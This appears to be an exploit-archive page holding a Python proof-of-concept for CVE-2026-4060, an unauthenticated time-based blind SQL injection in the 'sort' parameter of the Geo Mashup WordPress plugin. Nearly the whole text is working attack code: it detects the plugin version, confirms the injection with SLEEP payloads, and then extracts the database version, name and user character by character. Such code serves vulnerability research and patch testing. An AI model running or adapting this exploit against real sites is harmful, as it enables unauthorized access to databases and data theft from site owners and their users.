5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-4060 - Geo Mashup <= 1.13.18 Unauthenticated Time-Based SQL Injection PoC

Vulnerability: The `sort` parameter in render-map.php is not properly sanitized,
allowing unauthenticated attackers to inject SQL via time-based blind technique.

Affected endpoint: /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
"""

import argparse
import time
import urllib.parse
import urllib.request


SLEEP_SECONDS = 5
TIMEOUT = SLEEP_SECONDS + 5

# ASCII ordinals to brute-force (printable: 45='-', 46='.', 48-57=digits, 65-90=A-Z, 97-122=a-z)
ORDINALS = [45, 46, 58, 64] + list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123))


def request(url, timeout=10):
    try:
        req = urllib.request.Request(
            url,
            headers={"User-Agent": "Mozilla/5.0"},
        )
        start = time.time()
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            body = resp.read().decode("utf-8", errors="ignore")
        elapsed = time.time() - start
        return body, elapsed
    except Exception as e:
        elapsed = time.time() - start if "start" in dir() else 0
        return "", elapsed


def check_plugin(base_url):
    url = base_url.rstrip("/") + "/wp-content/plugins/geo-mashup/readme.txt"
    body, _ = request(url)
    if "Geo Mashup" not in body:
        print("[-] Geo Mashup plugin not found. Is the lab running?")
        return False, None

    version = None
    for line in body.splitlines():
        if line.strip().startswith("Stable tag:"):
            version = line.split(":", 1)[1].strip()
            break

    print(f"[+] Geo Mashup detected — version: {version}")
    return True, version


def confirm_sqli(base_url):
    """Confirm time-based SQLi with SLEEP(SLEEP_SECONDS)."""
    payload = f"(SELECT(0)FROM(SELECT(SLEEP({SLEEP_SECONDS})))a)"
    encoded = urllib.parse.quote(payload)
    url = f"{base_url.rstrip('/')}/?geo_mashup_content=render-map&map_content=global&sort={encoded}"

    print(f"[*] Sending SLEEP({SLEEP_SECONDS}) payload...")
    body, elapsed = request(url, timeout=TIMEOUT)

    if elapsed >= SLEEP_SECONDS and "GeoMashup.createMap" in body:
        print(f"[+] SQLi confirmed! Response delayed {elapsed:.2f}s")
        return True
    else:
        print(f"[-] No delay detected ({elapsed:.2f}s). Injection may not be working.")
        return False


def extract_char(base_url, query, position, verbose=False):
    """Check each ASCII ordinal at position using ORD() to avoid quote escaping."""
    for ordinal in ORDINALS:
        payload = (
            f"(SELECT(0)FROM(SELECT(IF("
            f"ORD(SUBSTRING(({query}),{position},1))={ordinal},"
            f"SLEEP({SLEEP_SECONDS}),0"
            f")))a)"
        )
        encoded = urllib.parse.quote(payload)
        url = f"{base_url.rstrip('/')}/?geo_mashup_content=render-map&map_content=global&sort={encoded}"

        if verbose:
            print(f"  [payload] sort=...IF(ORD(SUBSTRING(({query}),{position},1))={ordinal}, SLEEP({SLEEP_SECONDS}), 0)...", end=" ", flush=True)

        _, elapsed = request(url, timeout=TIMEOUT)

        if elapsed >= SLEEP_SECONDS:
            if verbose:
                print(f"→ {elapsed:.2f}s  ✓  '{chr(ordinal)}'")
            return chr(ordinal)
        else:
            if verbose:
                print(f"→ {elapsed:.2f}s")
    return None


def extract_data(base_url, query, label, max_len=20, verbose=False):
    print(f"[*] Extracting {label} via time-based blind SQLi...")
    result = ""
    for i in range(1, max_len + 1):
        char = extract_char(base_url, query, i, verbose=verbose)
        if char is None:
            break
        result += char
        if not verbose:
            print(f"    [{i}] {result}", end="\r")
    print(f"[+] {label}: {result}          ")
    return result


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-4060 PoC")
    parser.add_argument("--url", default="http://localhost:8080", help="Target WordPress base URL")
    parser.add_argument("--confirm-only", action="store_true", help="Only confirm SQLi, skip data extraction")
    parser.add_argument("--verbose", action="store_true", help="Show each SQL payload and response time")
    args = parser.parse_args()

    print("=" * 60)
    print("CVE-2026-4060 — Geo Mashup SQLi PoC")
    print(f"Target: {args.url}")
    print("=" * 60)

    found, version = check_plugin(args.url)
    if not found:
        return

    if not confirm_sqli(args.url):
        return

    if args.confirm_only:
        print("[*] --confirm-only flag set. Stopping here.")
        return

    # Extract interesting data
    extract_data(args.url, "VERSION()", "DB version", max_len=15, verbose=args.verbose)
    extract_data(args.url, "DATABASE()", "Current DB", max_len=20, verbose=args.verbose)
    extract_data(args.url, "USER()", "DB user", max_len=30, verbose=args.verbose)

    print("\n[+] Done.")


if __name__ == "__main__":
    main()